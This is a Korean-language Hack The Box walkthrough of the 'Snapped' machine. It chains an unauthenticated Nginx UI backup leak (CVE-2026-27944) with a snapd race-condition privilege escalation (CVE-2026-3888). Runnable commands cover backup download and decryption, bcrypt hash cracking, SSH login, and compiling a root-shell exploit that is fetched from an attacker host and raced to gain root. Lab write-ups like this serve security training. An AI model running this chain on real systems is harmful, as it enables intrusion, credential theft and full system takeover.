
# HTB Snapped — 하드 리눅스 머신 라이트업. CVE-2026-27944(Nginx UI 인증 없는 백업 노출)을 CVE-2026-3888(snapd 레이스 컨디션 LPE)과 연계하여 전체 시스템 장악을 달성.
HTB Snapped — 하드 난이도 Linux 머신 라이트업. CVE-2026-27944(Nginx UI 인증 없는 백업 정보 노출)와 CVE-2026-3888(snapd 레이스 컨디션 LPE)을 연쇄적으로 활용하여 전체 시스템을 장악합니다.
난이도: 하드
OS: Linux (Ubuntu 24.04)
출시일: 2026년 3월 23일
CVE: CVE-2026-27944, CVE-2026-3888
Snapped는 nginx 뒤에 정적 사이트를 호스팅하고 Nginx UI 관리 패널을 갖춘 하드 난이도 Linux 머신입니다. 초기 접근은 AES 암호화 키를 유출하는 인증 없는 백업 엔드포인트인 CVE-2026-27944를 악용하여 획득합니다. 백업을 복호화하고 SQLite 데이터베이스에서 bcrypt 해시를 크래킹한 후 SSH 접근 권한을 얻습니다. 루트로의 권한 상승은 snap-confine과 systemd-tmpfiles 사이의 snapd 레이스 컨디션인 CVE-2026-3888을 통해 달성됩니다.
nmap -sCV <TARGET_IP>
열린 포트: 22 (SSH), 80 (HTTP)
ffuf -u http://<TARGET_IP> -H 'Host: FUZZ.snapped.htb' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac
발견: admin.snapped.htb
echo "<TARGET_IP> snapped.htb admin.snapped.htb" | sudo tee -a /etc/hosts
2.3.3 이전 버전의 Nginx UI는 인증 없이 /api/backup을 노출합니다. 응답 헤더 X-Backup-Security는 백업 아카이브를 복호화하는 데 필요한 AES-256-CBC 키와 IV를 유출합니다.
1단계 — 백업 다운로드 및 키/IV 추출:
curl -v http://admin.snapped.htb/api/backup -o backup.zip 2>&1 \
| grep -i "X-Backup-Security"
KEY="<base64_key>"
IV="<base64_iv>"
2단계 — 16진수로 변환 및 복호화:
KEY_HEX=$(echo "$KEY" | base64 -d | xxd -p -c 256)
IV_HEX=$(echo "$IV" | base64 -d | xxd -p -c 256)
mkdir backup && cd backup
unzip ../backup.zip
openssl enc -d -aes-256-cbc \
-K $KEY_HEX -iv $IV_HEX -nopad \
-in nginx-ui.zip -out nginx-ui-decrypted.zip
unzip nginx-ui-decrypted.zip
3단계 — SQLite 데이터베이스에서 해시 추출:
strings database.db | grep '\$2a\$'
# jonathan, admin 사용자의 bcrypt 해시 발견
4단계 — 해시 크래킹:
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt --force
# jonathan:<password>
5단계 — SSH 접근:
ssh [email protected]
cat ~/user.txt
CVE-2026-3888은 Ubuntu 24.04에 영향을 주는 snapd의 로컬 권한 상승 취약점입니다. 두 시스템 구성 요소 간의 TOCTOU 레이스 컨디션을 악용합니다:
/tmp/.snap 주기적 정리systemd-tmpfiles가 /tmp/.snap을 삭제하면 공격자는 악성 콘텐츠로 이를 다시 생성할 수 있습니다. snap-confine이 다음에 샌드박스를 초기화할 때 공격자가 제어하는 디렉터리를 루트 권한으로 바인드 마운트하여 동적 링커 하이재킹을 가능하게 합니다.
1단계 — 취약한 버전 확인:
snap version
# snapd 2.63.1+24.04 — 취약 (2.73에서 수정됨)
2단계 — 공격자 머신에서 익스플로잇 컴파일:
git clone https://github.com/<repo>/CVE-2026-3888
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
3단계 — 타깃으로 전송:
# 공격자 머신
python3 -m http.server 8080
# 타깃
wget http://<ATTACKER_IP>:8080/exploit -O ~/exploit
wget http://<ATTACKER_IP>:8080/librootshell.so -O ~/librootshell.so
chmod +x ~/exploit
4단계 — 익스플로잇 실행:
# 세션 1 — 익스플로잇 실행
~/exploit ~/librootshell.so
# 세션 2 — "Polling..."이 보이면 정리 트리거
rm -rf /tmp/.snap
5단계 — 루트 셸:
/var/snap/firefox/common/bash -p
whoami
# root
cat /root/root.txt